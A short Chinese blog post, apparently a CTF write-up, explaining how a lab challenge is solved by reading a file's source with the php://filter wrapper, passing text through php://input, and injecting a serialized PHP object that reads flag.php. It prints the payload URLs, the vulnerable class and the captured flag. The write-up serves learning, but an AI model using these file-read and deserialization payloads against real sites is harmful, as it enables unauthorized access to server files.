做了一道知识点包含反序列化和PHP伪协议的题,写篇博客整理一下思路
启动靶机,我们看到如下页面 分析代码,定义了text、file、password三个变量,剩下的代码都在一个if里,要上传text,可以使用php://input协议来执行,内容为"welcome to the zjctf",代码注释部分有一个useless.php,我们可以使用php://filter伪协议来读取useless.php的内容。
构造payload:/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
使用Hackbar来传text参数: 执行后得到一串base64加密过后的字符串: base64解密后,得到一串PHP代码:
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
代码注释部分提示我们文件名flag.php 实例化对象,名为a,并且使a对象中的文件是flag.php,并序列化a 在浏览器中运行后得到:O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 构造payload:/?text=php://input&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
F12查看源码得到flag
flag{acc6be45-2c9f-408a-844c-9dd3935400c0}
|